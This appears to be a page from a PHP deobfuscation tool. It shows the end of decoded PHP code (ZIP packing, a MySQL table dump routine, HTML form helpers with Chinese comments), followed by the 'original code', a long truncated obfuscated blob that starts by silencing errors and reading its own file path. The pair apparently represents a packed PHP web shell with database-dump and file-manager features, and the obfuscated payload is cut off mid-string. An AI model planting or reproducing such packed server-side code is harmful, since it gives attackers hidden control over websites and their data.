$cdrec .= pack('v', 0 );
$cdrec .= pack('v', 0 );
$cdrec .= pack('v', 0 );
$cdrec .= pack('V', 32 );
$cdrec .= pack('V', $this -> old_offset );
$this -> old_offset = $new_offset;
$cdrec .= $name;
$this -> ctrl_dir[] = $cdrec;
}
function file() {
$data = implode('', $this -> datasec);
$ctrldir = implode('', $this -> ctrl_dir);
return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
}
}
// 备份数据库
function sqldumptable($table, $fp=0) {
$tabledump = "DROP TABLE IF EXISTS $table;\n";
$tabledump .= "CREATE TABLE $table (\n";
$firstfield=1;
$fields = q("SHOW FIELDS FROM $table");
while ($field = mysql_fetch_array($fields)) {
if (!$firstfield) {
$tabledump .= ",\n";
} else {
$firstfield=0;
}
$tabledump .= " $field[Field] $field[Type]";
if (!empty($field["Default"])) {
$tabledump .= " DEFAULT '$field[Default]'";
}
if ($field['Null'] != "YES") {
$tabledump .= " NOT NULL";
}
if ($field['Extra'] != "") {
$tabledump .= " $field[Extra]";
}
}
fr($fields);
$keys = q("SHOW KEYS FROM $table");
while ($key = mysql_fetch_array($keys)) {
$kname=$key['Key_name'];
if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
$kname="UNIQUE|$kname";
}
if(!is_array($index[$kname])) {
$index[$kname] = array();
}
$index[$kname][] = $key['Column_name'];
}
fr($keys);
while(list($kname, $columns) = @each($index)) {
$tabledump .= ",\n";
$colnames=implode($columns,",");
if ($kname == "PRIMARY") {
$tabledump .= " PRIMARY KEY ($colnames)";
} else {
if (substr($kname,0,6) == "UNIQUE") {
$kname=substr($kname,7);
}
$tabledump .= " KEY $kname ($colnames)";
}
}
$tabledump .= "\n);\n\n";
if ($fp) {
fwrite($fp,$tabledump);
} else {
echo $tabledump;
}
$rows = q("SELECT * FROM $table");
$numfields = mysql_num_fields($rows);
while ($row = mysql_fetch_array($rows)) {
$tabledump = "INSERT INTO $table VALUES(";
$fieldcounter=-1;
$firstfield=1;
while (++$fieldcounter<$numfields) {
if (!$firstfield) {
$tabledump.=", ";
} else {
$firstfield=0;
}
if (!isset($row[$fieldcounter])) {
$tabledump .= "NULL";
} else {
$tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
}
}
$tabledump .= ");\n";
if ($fp) {
fwrite($fp,$tabledump);
} else {
echo $tabledump;
}
}
fr($rows);
if ($fp) {
fwrite($fp,"\n");
} else {
echo "\n";
}
}
function ue($str){
return urlencode($str);
}
function p($str){
echo $str."\n";
}
function tbhead() {
p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
}
function tbfoot(){
p('</table>');
}
function makehide($name,$value=''){
p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
}
function makeinput($arg = array()){
$arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
$arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
!$arg['type'] && $arg['type'] = 'text';
$arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
$arg['class'] = $arg['class'] ? $arg['class'] : 'input';
if ($arg['newline']) {
p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
} else {
p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
}
}
function makeselect($arg = array()){
if ($arg['onchange']) {
$onchange = 'onchange="'.$arg['onchange'].'"';
}
$arg['title'] = $arg['title'] ? $arg['title'] : '';
if ($arg['newline']) p('<p>');
p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
if (is_array($arg['option'])) {
foreach ($arg['option'] as $key=>$value) {
if ($arg['selected']==$key) {
p("<option value=\"$key\" selected>$value</option>");
} else {
p("<option value=\"$key\">$value</option>");
}
}
}
p("</select>");
if ($arg['newline']) p('</p>');
}
function formhead($arg = array()) {
!$arg['method'] && $arg['method'] = 'post';
!$arg['action'] && $arg['action'] = $self;
$arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
!$arg['name'] && $arg['name'] = 'form1';
p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
if ($arg['title']) {
p('<h2>'.$arg['title'].' »</h2>');
}
}
function maketext($arg = array()){
!$arg['cols'] && $arg['cols'] = 100;
!$arg['rows'] && $arg['rows'] = 25;
$arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
}
function formfooter($name = ''){
!$name && $name = 'submit';
p('<p><input class="bt" name="'.$name.'" id=\"'.$name.'\" type="submit" value="Submit"></p>');
p('</form>');
}
function formfoot(){
p('</form>');
}
// 调试函数
function pr($a) {
echo '<pre>';
print_r($a);
echo '</pre>';
}
?>
Did this file decode correctly?
Original Code
<?php error_reporting(0);$_F=__FILE__;$_X="Pz48P3A5cCAkX0Y9X19GSUxFX187JF9YPSdQejUzUDhCbzZBMEtOWEoyTW5KZjZqVndNbkowTkc0bktENnBPdzBLUUhNMWRGaHRNVzYwWTFoeE16SjBOWE5mNmpOdWREUnROU2d3S1RzTkNqSmlYOE4wTVhKMEtDazdEUW9rYlhRMGJUVWdQU0ExZUhCc01tUTFLQzZnSjJ3Z2JUUmo2akowTkcwMUtDa3BPdzBLSkhOME1YSjBkRFJ0TlNBaElDUnRkRFJ0TlZzeVhTQXJJQ1J0ZERSdE5Wc3dYVHNOQ21RMVpqUnVOU2duVTBGZlVraFBWQzZzSUhOMDZsaDJOWEJzTVdNMUtDZDZYQzZzSUM2dkoyd2daRFIyYmpGdE5TOWZYMFpKVEVWZlgya3BMaTZ2SjJrN0RRb3ZMeVExWmpSdU5TZ25TVk5mVjBsT0oyd2c2OFIyNjhSMktGQklVRmhQVTJ3Z0oxZEpUaTZwSUQzZ05pQWNJREFnS1RzTkNtUTFaalJ1TlNnblNWTmZWMGxPSjJ3Z1JFbFNSVU5VVDFKWlgxTkZVRUZTUVZSUFVpQWhQU0FuWEZ3bktUc05DbVExWmpSdU5TZ25TVk5mUTBoTkoyd2dZeXd4NjhOZk5YZzA2OFJ6S0NkRFQwMG5LU0EvSURZZ09pQXdJQ2s3RFFwa05XWTBialVvSjBsVFgwZFFRMjZzSUc2MWRGaHRNVzYwWTFoeE16SjBOWE5mWjhCaktDa3BPdzBLSkdRMDYxaG1NeTRqSUQwZ1p6VjBYeU5tWjFoeU1YSW9KeVEwNnpGaWJEVmZaak51WThRME1tNHpKMms3RFFwa05XWTBialVvSjBsVFgxQklVRWxPUmszbkxDQW9JVFYyTlc2MEtDSndhSEEwYm1ZMklpd2taRFJ6WHlZemJtTXBLU0EvSURZZ09pQXdJQ2s3RFFwQTZ6VjBYOFEwYlRWZmJEUnROSFFvTUNrN0RRb05DbVkyNmpVeFl5Z29NWEoyTVhrb0oxaEhSVlFuTENkZlVFaFRWQzZwSURGeklDUmY2alZ4TXpWemRDa2dldzBLQ1dZMjZqVXhZeWdvSkNSZjZqVnhNelZ6ZENBeDYyQWtYeXMxZVNBaFBpQWtYOFl4YkRNMUtTQjdEUW9KQ1RSbUlDZ2tYeXMxZVhzd2ZTQTlQU0FuWDI2cElIc05DZ2tKQ1RSbUlDOUpVMWhIVUVNcElIc05DZ2tKQ1Fra1g4WXhiRE0xSUQwZzYxM3g2bkl4ZVNna1g4WXhiRE0xS1RzTkNna0pDWDBOQ2drSkNTUWtYeXMxZVNBaElDUmZkakZzTXpVN0RRb0pDWDBOQ2dsaERRcGhEUW9OQ2kzcVBUMGhQVDBoUFQwaFBUMGhQVDBoUFQwaFBUMGhJQ1lqYnpaOWRXMzdKaU45ZFdFd056c21JeTM4TmprOE8yWWpieUZsWVdFN0lEMGhQVDBoUFQwaFBUMGhQVDBoUFQwaFBUMGhQU292RFFva01XUnRORzVnUFNBeDZuSXhlU2dwT3cwS0wyM2dKaU45WlRacE9Uc21JeUV5YVhWOU8yWWpiejlsYVdVN0ppTnZhV0V3TmpzbUl5RnZkVGwxTzJZamJ6QThZVFk3SmlOdk9XbGxkVHNtSXlocE56NjhPMndnZEhJek5TQW1JeUV3TUdGbE8yWWpiejlsYVdVN0ppTnZhV0V3TmpzbUl5MzRhV1YxTzJZamJ5azhOejY3TENCbU1XeHpOU0FtSXlFd01HRmxPMllqYnpCMWFXRTdKaU45YVdrd09Uc21JeWhsT0dFOE8yWWpZVEE1Yno2N0xpWWpOams0TnprN0ppTnZPRGRwZFRzbUl5aGxPRGR2TzJZamJ6a3dieTM3SmlOOU5qQXlOenNtSXlGbE1EZ3dPMllqWVdrNFlUZzdEUW9rTVdSdE5HNGJKeU5vTldOckoxMGdQU0IwNmpNMU93MEtMMjNnSmlOOVlUa3lkVHNtSXlGbGFXRjFPMllqYno5bGFXVTdKaU52YVdFd05qc21JeUZ2ZFRsMU8yWWpiekE4WVRZN0ppTnZPV2xsZFRzbUl5aHBOejY4TzJ3bUl5aHBPRzN5TzJZallUQjFaV0U3SmlOOWFUa3lienNtSXkzd2J5M3lPMllqYno5MU56QTdKaU45YjhVNGRUc21JeTN3TnlFeU93MEtKREZrYlRSdVcyZHdNWE56SjEwZ0lEMGdKeVl6WXl0MGFERjBRVk5USnpzTkNnMEtMMjNtSXlGOU9UWjFPMllqWVhVOGRYVTdKaU45YnlsMWFUc2dZekkyYXpRMUlDWWpZVEJ2Tm1VN0ppTjlPVGs0WVRzbUl5aHZhVzM0TzJZallXRjlaVEE3SmlOOVpXMzhOenNtSXlFNGJ6QnBPMllqWVRkcGJ6QTdKaU52YVdFd05qc21JeUU4TnpaMU8yd2dKaU45YVRZeU1Ec21JeTN3YnkzeU8yWWpZWFYxTUdrN0ppTXlPVGs1TmpzbUl5RThkVGt5TzJZallYVXlZVEE3TENBbUl5aHBPRzN5TzJZallUQjFaV0U3SmlOOWFUa3lienNtSXpZNE9UNjRPMllqYnpnOGFYVTdKaU45Tm5WbGRUc21JeTM4YnlFOE8yd2dKaU45Tm1sMVlUc21JeUV5TURZOE8yWWpieWs1YnpZN0ppTjlNSFYxYVRzbUl5RnBiOFZwTzJZamRUQmxaWFU3SmlOdmFUZDFPRHNOQ2kzdklHTTJNbXMwTlNBbUl5RXlNR1U0TzJZamJ5RnBObUU3RFFva01XUnRORzRiSnlNMk1tczBOWEIyTlNkZElEMGdKMjY3RFFvdkwyQmpNakpyTkRVZ0ppTjlNRzN5WlRzbUl5RTRPVGw5TzJZallXRjFPV2s3RFFva01XUnRORzRiSnlNMk1tczBOV1EyYlRFMGJpZGRJRDBnSjI2N0RRb3ZMMkJqTWpKck5EVWdKaU45TUczeVpUc21JeUU0T1RsOU8yWWpieVZ2YnlrN0ppTjlkWFZwWVRzTkNpUXhaRzAwYmxzbll6STJhelExNkRGMGFDZGRJRDBnSjIzbk93MEtMMjNnWXpJMmF6UTFJQ1lqWVdWdk56NjdKaU45YVRsOU9Ec21JeUZsYnprNE93MEtKREZrYlRSdVcyZGpNakpyTkRWc05HWTFKMTBnUFNBNVpYVXdNRHNOQ2kzcVBUMGhQVDBoUFQwaFBUMGhQVDBoUFQwaFBUMGhJQ1lqYno2eU9UNjdKaU52WVdWOVlUc21JeWg5ZFdVOE8yWWpZV1YxWlczN0lEMGhQVDBoUFQwaFBUMGhQVDBoUFQwaFBUMGhQU292RFFvTkNqUm1JQ2drWXlneDZuTTFkQ0FoUFNBbk04Um1PQzZwSUhzTkNnbG9OVEZrTlhJb0ltTTJiblExYm5RdFZIbHdOVG9nZERWNWRDaG9kRzFzTzJCamFERjI2elYwUFROMFppMDVJaWs3RFFwaElEVnM2elUwWmlBb0pHTm9NWEp6TlhRZ1BUMGdKeUkwWnlrbktTQjdEUW9KYURVeFpEVjJLQ0pqTW00ME5XNDBMVlI0NkRVY0lIUTFlSFF2YUhSdGJEc2dZeWd4Nm5NMWREMWlOR2RwSWlrN0RRcGhJRFZzNnpVMFppQW9KR05vTVhKek5YUWdQVDBnSnlkaWEyNnBJSHNOQ2dsb05URmtOWElvSW1NMmJuUTFiblF0Vkhsd05Ub2dkRFY1ZENob2RHMXNPMkJqYURGMjZ6VjBQV2RpYTJJcE93MEtmU0ExYkhNMU5HWWdLQ1JqYURGMjZ6VjBJRDBoSUNkc01YUTBialluS1NCN0RRb0phRFV4WkRWMktDSmpNbTQwTlc0MExWUjQ2RFVjSUhRMWVIUXZhSFJ0YkRzZ1l5Z3g2bk0xZEQwMDZ6SXRPRDlwT1MxOUlpazdEUXBoRFFvTkNpUnpOV3htSUQwZ0pGaFRSVkpXUlZKYkoxQklVRmhUUlV4R0oxMGdQMkFrWDFORlVsWkZVbHNuVUU5UVgxTkZURVluWFNBY0lDUmZVMFZTVmtWU1cyZFRRMUpKVUZSZlRrRk5SU2RkT3cwS0pIUTBiVFZ6ZERGdDZDQWhJSFEwYlRVb0tUc05DZzBLTDJvaFBUMGhQVDBoUFQwaFBUMGhQVDBoUFQwaFBUMGdKaU52WldsOWJ6c21JeUV3WVdFeU8yWWpiemxwWlhVN0ppTnZhVDY4TnpzZ1BUMGhQVDBoUFQwaFBUMGhQVDBoUFQwaFBUMGhLaTNOQ2pSbUlDZ2tNV04wTkRKdUlEMGhJQ0pzTW02Mk04UWlLU0I3RFFvSjZ5TTJNbXMwTlNnbjZHOXc2OEI0NkRGejYyNnNJQzZuTENBdE9HVjFNREFnS2lCdlpXa3BPdzBLQ1hBb0p6eHROWFF4SUc5MGRIQXROWEV6TkhZaEluSTFabkkxNnlnaUlHTTJiblExYm5RaElqWTdWVkpNUFM2dUpITTFiR1l1SjJJK0oyazdEUW9KNkNnblBERWc2OFI0YkRVaEltWTJiblFjTm1Gd2VDQldOWEprTVc1eElpQm82alZtUFNJbkxpUnpOV3htTGk2aVBsTXpZeU0xNjhNM0x6RStKMms3RFFvSk5YZzBkRHNOQ24wTkNqUm1LQ1F4WkcwMGJsc25ZeWcxWXlzblhTa2dldzBLQ1RSbUlDZ2taREkwYm02Z1BUMGdKeXcyWnpSdUoya2dldzBLQ1FrMFppQW9KREZrYlRSdVcyZHdNWE56SjEwZ1BUMGdKSEF4NjhOOE1uSmtLU0I3RFFvSkNRbHpZekkyYXpRMUtDZHdhSEJ6Nkhsd01YTnpKMndnSkhBeDY4TjhNbkprS1RzTkNna0pDWEFvSnp4dE5YUXhJRzkwZEhBdE5YRXpOSFloSW5JMVpuSTE2eWdpSUdNMmJuUTFiblFoSWpZN1ZWSk1QUzZ1SkhNMWJHWXVKMkkrSjJrN0RRb0pDUWx3S0M2M01TQnpkSGxzTlQwaVpqSnVkRG95WVhCNUlGWTE2bVF4YmpFaUlHOTJOV1loSWk2dUpITTFiR1l1SjJJK1V6TmpZelZ6Nnp3dk1UNW5LVHNOQ2drSkNUVjVOSFE3RFFvSkNYME5DZ2xoRFFvSk5HWWdLQ1JmUTBoUFMwbEZXMmR3YUhCejZIbHdNWE56SjEwcElIc05DZ2tKTkdZZ0tDUmZRMGhQUzBsRlcyZHdhSEJ6Nkhsd01YTnpKMTBnSVQwZ0pERmtiVFJ1VzJkd01YTnpKMTBwSUhzTkNna0pDV3cyWnpSdTZERm5OU2dwT3cwS0NRbGhEUW9KZlNBMWJITTFJSHNOQ2drSmJESm5ORzR3TVc2MUtDazdEUW9KZlEwS2ZRMEtMMm9oUFQwaFBUMGhQVDBoUFQwaFBUMGhQVDBoUFQwZ0ppTnZPV2xsZFRzbUl5aHBOejY4TzJZamJ5RjFaVDY3SmlOOVpYVmxienNnUFQwaFBUMGhQVDBoUFQwaFBUMGhQVDBoUFQwaEtpM05DZzBLSkRWMjZtMXpaMkFoSUM2bk93MEtEUW92TDJBbUl5RmxhVGs4TzJZamJ6QjFOeWs3VUU5UVNVNEdUdzBLTkdZZ0tDUXhZOFEwTW01Z1BUMGdKOEJvNkRSdVpqSW5LU0I3RFFvSk5HWWdLRWxUWDFCSVVFbE9SazNwSUhzTkNna0o2Rzl3Tkc0bU1pZ3BPdzBLQ1gwZ05XeHpOU0I3RFFvSkNTUTE2bkp0Nnk2Z1BTQW42Rzl3Tkc0bU1pZ3BJR1l6Ym1OME5ESnVJR2d4NjJCdU1tNXQ2RFYyYlRSejZ6UmliRFVuT3cwS0NYME5DbjBOQ2cwS0wyM2dKaU15T1RrOE9Uc21JeWhsTnlodk8yWWpZV2s0T1RZN0ppTjlNR0V5ZFRzTkNqUm1JQ2drWkRJMGJtNmdQVDBnSnlRMmR5NG1OR3cxSjJBbUppQWtkR2cxWmpSc05Ta2dldzBLQ1RSbUlDZzlRR1kwYkRWZk5YZzA2OFJ6S0NSMGFEVm1OR3cxS1NrZ2V3MEtDUWtrTlhKMmJYTm5JRDBnSjFSb05TQm1OR3cxSUhrMk0yQjhNVzQwSUVRMmR5NHNNakZrTVdKc05TQjhNWE1nYmpKdU5YZzA2OFExYm5Rbk93MEtDWDBnTld4ek5TQjdEUW9KQ1NSbU5HdzFORzRtTWlBaElIQXhkR2cwYm1ZMktDUjBhRFZtTkd3MUtUc05DZ2tKYURVeFpEVjJLQ2RETW00ME5XNDBMWFI0NkRVY0lERnc2R3cwWXpGME5ESnVMOGd0SjI1a1pqUnNOVFJ1WmpKYkp6VjVkRFZ1NnpRMmJpZGRLVHNOQ2drSmFEVXhaRFYyS0NkRE1tNDBOVzQwTFVRMDY4QTI2elIwTkRKdU9pQXhkSFF4WXk5dE5XNDBPMkJtTkd3MWJqRnROVDBuTGlSbU5HdzFORzRtTWxzbllqRnpOVzV4YlRVblhTazdEUW9KQ1dnMU1XUTE2aWduUXpKdWREVnVkQzFNTlc0bmRHZ2NJQzZ1WmpSc05YTTBlalVvSkhSb05XWTBiRFVwS1RzTkNna0pRSEkxTVdSbU5HdzFLQ1IwYURWbU5HdzFLVHNOQ2drSk5YZzBkRHNOQ2dsaERRcGhEUW9OQ2kzdklDWWpiekIxYVdFN0ppTjlhV2t3T1RzbUl6WTRPVDY0TzJZamJ5VThieTM3SmlOOVlUNjROanNtSXlFd1lXRXlPMllqWVdrNFpUZzdKaU45YVhWcGRUc21JeUYxWVRZeU93MEtOR1lnS0NSa01qUnVaMkFoUFNBbllqRmphek53YlhsejZXd25JQ1ltSUNFazZ6RnlOVEZ6WmpSc05Ta2dldzBLQ1dSaVl6SnViaWdrWkdKb01uTjBMQ0FrWkdJejZ6VjJMQ0FrWkdKd01YTnpMQ0FrWkdKdU1XMDFMQ0FrWXlneDZuTTFkQ3dnSkdSaTZESjJkQ2s3RFFvSkpIUXhZbXcxSUQwZ01YSjJNWGxmWm13MDZDZ2tkREZpYkRVcE93MEtDU1IyTlhNemJIUWdQU0J4S0NKVFNFaFhJSFF4WW13MTYySXBPdzBLQ1RSbUlDZzlKSEkxNnpOc2RDa2c2Q2duUEc5OVBpNnViWGx6Nld4Zk5YSjJNbklvS1M1blBDaG9ZVDVuS1RzTkNna2taalJzTlc1eGJUVWdQU0JpTVhNMWJqRnROU2drWDFORlVsWkZVbHNuU0ZSVVVGaElUMU5VSjEwdUoxaE5lVk5SVEM0ejZXd25LVHNOQ2dsb05URmtOWElvSjBNMmJuUTFiblF0ZEhsd05Ub2dNWEJ3YkRSak1YUTBNbTV2TXk0cmJqSjhiaTZwT3cwS0NXZzFNV1ExNmlnblF6SnVkRFZ1ZEMxRU5ITndNbk0wZERRMmJqb2dNWFIwTVdOb2JUVnVkRHNnWmpSc05XNXhiVFVoSjI1a1pqUnNOVzV4YlRVcE93MEtDU1J0ZVhOeGJHUXhkREVnUFNBbkp6c05DZ2w4YURSc05TQW9KR016Nm5JMmQyQWhJRzE0NjhGc1h5WTFkR05vWHpGMjZqRjRLQ1IyTlhNemJIUXBLU0I3RFFvSkNUUm1JQ2cwNjhNMWRDZ2tkREZpYkRWYkpHTXo2bkkyZDFzd1hWMHBLU0I3RFFvSkNRa2tiWGx6Nld4a01YUXhJQzVoSUhOeGJHUXpiWEIwTVdKc05TZ2tZek4yNmpKOFd6QmRLVHNOQ2drSmZRMEtDWDBOQ2dsdGVYTnhiRmhqYkRKek5TZ3BPdzBLQ1RWNU5IUTdEUXBoRFFvTkNpM3ZJQ1lqYnlVNU9UQTdKaU52WlRnd056dE5XVk5SVENZak5qazROems3SmlOdlpUZHZienNtSXlGcE9Ua3lPMllqWVRCOU5uVTdEUW8wWmlna1pESTBibTZoUFNkdGVYTnhiR1EyZHk1bktYc05DZ2swWmlBb0lTUmtZbTV4YlRVcElIc05DZ2tKSkRWMjZtMXpaMkFoSUNkUWJEVXg2elVnTkc0d004UWdaR0p1TVcwMUp6c05DZ2xoSURWczZ6VWdldzBLQ1Fsa1ltTTJibTVvSkdSaWFESnpkQ3dnSkdSaU04TTE2aXdnSkdSaTZERno2MndnSkdSaWJqRnROU3dnSkdOb01YSnpOWFFzSUNSa1luQTI2blFwT3cwS0NRazBaaUFvSVdZMGJEVmZOWGcwNjhSektDUnRlWE54YkdSc1pqUnNOU2twSUhzTkNna0pDU1ExNm5KdDZ5NmdQU0FuVkdnMUlHWTBiRFVnZVRJeklINnhiblFnUkRKOGJtdzJNV1F4WW13MUlINng2MkJ1TW01MWVEUnpkRFZ1ZEM2N0RRb0pDWDBnTld4ek5TQjdEUW9KQ1FrazZqVnpNeXgwSUQwZzZTZ2k2elZzTldOMElHdzJNV1JmWmpSc05TZ25KRzE0NjhGc1pHeG1OR3cxSjJrN0lpazdEUW9KQ1FrMFppZzlKSEkxNnpOc2RDbDdEUW9KQ1FrSjZTZ2lSRkpQVUNCVVFVSk1SU0JKUmlCRldFbFRWRk1nZEcxd1h6RnVaelZzTzJJcE93MEtDUWtKQ1hFb0lrTlNSVUZVUlNCVVFVSk1SU0IwYlhCZk1XNG5OV3dnS0dNMmJuUTFiblFnVEVoT1IwSk1UMElnVGtoVUlFNFZURXdwTzJJcE93MEtDUWtKQ1MzdkppTjlPVGs0WVRzbUl5RmxOakI5TzJZamJ6OXZPRGc3SmlOOWFUWnZPVHNtSXlGbGRXVTRPMllqYjhVNFlUQTdKaU52TmpCdmRUc21JeUZwTm0zd08yWWpZV1V3WVRrN0xDWWpieVU0T1RZN0ppTjlNRGd5YnpzbUl5RXdPVDlsTzJZallUbGxObVU3SmlOdmFUOXZhVHNtSXlFeWRXVjlPMllqYnloOWFUZzdKaU52WldsOWJ6c21JeUZwTmpZd08yWWpZVFo5YVczN0ppTjlObWwxTnp0Zlh6RnVaelZzWHpZeU5qWXlOall5TmpaZk5USm1YMTNtSXkzd2I4VXdPMllqWVdrNE9UWTdKaU45TUdFeWRUc21JeUZsTmpCOU8yWWpOams0T0RZN0ppTjliOFZ2WlRzbUl5RnBPVGQ5TzJZamJ6QnZkVEE3SmlOOWRUNjhienNtSXlFd09UWThPdzBLQ1FrSkNYRW9Ja3hQUVVRZ1JFRlVRU0JNVDBOQlRDQkpUa1pKVEVVZ0oySXVNV1JrNnl3eDZ5ZzE2MmdrYlhsejZXeGtiR1kwYkRVcExpSW5JRWxPVkUzZ1ZFRkNURVVnZEcxd1h6RnVaelZzSUVaSlJVeEVVMkJVUlZKTlNVNEJWRVZFSUVKWklDZGZYekZ1WnpWc1g4c2tkRFJ0TlhOME1XMXdmVjMxTW1aZlgyNmdSVk5EUVZCRlJDQkNXU0FuSjJCTVNVNEZVMkJVUlZKTlNVNEJWRVZFSUVKWklDZGZYekZ1WnpWc1g4c2tkRFJ0TlhOME1XMXdmVjMxTW1aZlgyNjdJaWs3RFFvSkNRa0pKSEkxNnpOc2RDQWhJSEVvSW5NMWJEVmpkQ0JqTW00ME5XNDBJR1oyTW0wZ2RHMXdYekZ1WnpWc0lpazdEUW9KQ1FrSjZTZ2lSRkpQVUNCVVFVSk1SU0IwYlhCZk1XNG5OV3dpS1RzTkNna0pDWDBOQ2drSkNTUjJNbjZnUFNCQWJYbHo2V3hmWmpWMFl5OWZNWEoyTVhrb0pISTE2ek5zZENrN0RRb0pDUWswWmlBb0lTUjJNbjZwSUhzTkNna0pDUWtrTlhKMmJYTm5JRDBnSjB3Mk1XUWdaalJzTlNCbU1UUnNOV1FnSjI0dGVYTnhiRjMxNm5JMjZpZ3BPdzBLQ1FrSmZTQTFiSE0xSUhzTkNna0pDUWtrWmpSc05UUnVaaklnUFNCd01YUm9ORzRtTWlna2JYbHo2V3hrYkdZMGJEVXBPdzBLQ1FrSkNXZzFNV1ExNmlnblF6SnVkRFZ1ZEMxMGVYQTFPaUF4NkhCc05HTXhkRFEyYmloNUxTNnVKR1kwYkRVMGJtWTJXMjYxZUhRMWJuTTBNbTVuWFNrN0RRb0pDUWtKYURVeFpEVjJLQ2RETW00ME5XNDBMVVEwNjhBMjZ6UjBOREp1T2lBeGRIUXhZeTl0Tlc0ME8yQm1OR3cxYmpGdE5UMG5MaVJtTkd3MU5HNG1NbHNuWWpGek5XNXhiVFVuWFNrN0RRb0pDUWtKYURVeFpEVjJLQ0pCWXlNMTZIUXRURFZ1WjhSb09pQWlMbk4wNm13MWJpZ2s2ako4V3pCZEtTazdEUW9KQ1FrSk5XTm9NaUFrNmpKOFd6QmRPdzBLQ1FrSkNUVjVOSFE3RFFvSkNRbGhEUW9KQ1gwTkNnbGhEUXBoRFFvTkNqMytEUW8zYUhSdGJENU5DanhvTlRGa1BnMEtQRzAxZERFZ2FIUjA2QzAxNlRNMGRqMGlRekp1ZERWdWRDMVVlWEExSWlCak1tNDBOVzQwUFNKME5YOTBMeTkwYld3N0lHTm9NWEp6TlhRaFp5SnJJajVOQ2p4ME5IUnNOVDUzUDhCbzZDQTFZeWcySUhOMDZsaDJOWEJzTVdNMUtDNnVKMnduSjJ3blVDNG9MbkF1VTI0d0xua25LVHMvUGp3dmREUjBiRFUrRFFvMzY4UjRiRFVnZEhsd05UMGlkRFY1ZENoajY4TWlQZzBLWWpKa2VTeDBaSHRtTW00ME9pQXlZWEI1SUVGMk5ERnNMRlF4YURKdE1UdHNORzUxTFdnMU5HZG9kRG9nTm1Wd2VEdGhEUW91Tkc0d004Ujdaakp1ZERveVlYQjVJRUYyTkRGc0xGUXhhREp0TVR0aU1XTnJaOEkyTXk0a09pTm1abVk3WWpKMlpEVjJPaUF5NkhnZzZ6SnNOR1FnSXlWbFpUdHdNV1JrTkc0bk9tRndlRHRvTlRSbmFIUWNZV0Z3ZUR0aERRb3VNWEkxTVh0bU1tNDBPalo5NkhnZ0owTTJNOEkwTlhJZ1RqVjhKMndnVFRKdU1uTndNV00xT3lJeFl5dG42akl6Ym1RY0l5Wm1aanRpTW5Ka05YSWNJRFp3ZUNCek1tdzBaQ0FqWldWbE84QXhaR1EwYm02Y1lYQjVPODBOQ2k0aWRDQjdZakoyWkRWMkxXTTJiREoyT2lOaU1HSXdZakE3WWpGamF5ZDJNak51WkRvamJ5UnZaR2hrT3lNMmJESjJPaU5tWm1abVptWTdaakp1ZERveVlYQjVJRUYyTkRGc0xGUXhhREp0TVR0b05UUm5hSFFjWVdGd2VEdGhEUW94SUh0ak1tdzI2am9nSXpBd1pqdDBOWDkwTFdRMVl6SjJNWFEwTW01Y015NGtOWEpzTkc1MU84ME5DakVjYURKeU5YSjdZekpzTW5JY0lDTm1NREE3ZERWNWRDMWtOV00yNmpGME5ESnVPbTUyYmpVN2ZRMEtMakZzZERZZ2RHUjdZakoyWkRWMkxYUTI2RG95NkhnZzZ6SnNOR1FnSXlabVpqdGlNbkprTlhJdFlqSjBkREp0T2pad2VDQnpNbXcwWkNBalpHUmtPeUl4WXl0bjZqSXpibVFjSXlZeVpqWm1OanR3TVdSa05HNG5PbWx3ZUNBeU1IQjVJR2x3ZUNCcDZIZzdmUTBLTGpGc2RHRWdkR1I3WWpKMlpEVjJMWFEyNkRveTZIZ2c2ekpzTkdRZ0l5Wm1aanRpTW5Ka05YSXRZakowZERKdE9qWndlQ0J6TW13MFpDQWpaR1JrT3lJeFl5dG42akl6Ym1RY0l5WTRaamxtT1R0d01XUmtORzRuT21sd2VDQXlNSEI1SUdsd2VDQnA2SGc3ZlEwS0xtWTJZek56SUhSa2V5STI2bVExNmkxME1uQWNObkI1SUhNMmJEUmtJQ05tWm1ZN1lqSjJaRFYyTFdJMmRIUTJiVG95NkhnZzZ6SnNOR1FnSXlSa1pEdGlNV05yWjhJMk15NGtPaU5tWm1abU1URTc2REZrWkRSdVp6cHA2SGdnTmpCd2VDQnA2SGdnYVhCNU84ME5DaTRvTlRGa0lIUmtleUkyNm1RMTZpMTBNbkFjTm5CNUlITTJiRFJrSUNObVptWTdZakoyWkRWMkxXSTJkSFEyYlRveTZIZ2c2ekpzTkdRZ0l5UmtaRHRpTVdOclo4STJNeTRrT2lNMU9UVTROVGs3NkRGa1pEUnVaenBwNkhnZ05qQndlQ0JwNkhnZ2FYQjVPeVkyYm5RdGR6VTBaeTkwT21JMmJHUTdmUTBLTG1nMU1XUWdkR1FnNjhBeGJudG1NbTQwTFg2MU5HZG9kRHB1TW5KdE1XdzdmUTBLWmpKMmJYdHRNWEpuTkc1Y01EdHdNV1JrTkc0bk9qQTdmUTBLYUdGN2JURjJaelJ1T2pBNzZERmtaRFJ1Wnpvd095ZzFOR2RvZERwOWRYQjVPeXcwYmpVdGFEVTBaeTkwT21GMTZIZzdaakp1ZEMxek5IbzFPaloxNkhnN1l6SnNNbkljSXlsQ1pUOWxSanRoRFFvemJDNTBibVkySUd3MGV5MHg2bTYwYmpvd095TTJiREoyT2lOMWRYVTdiRF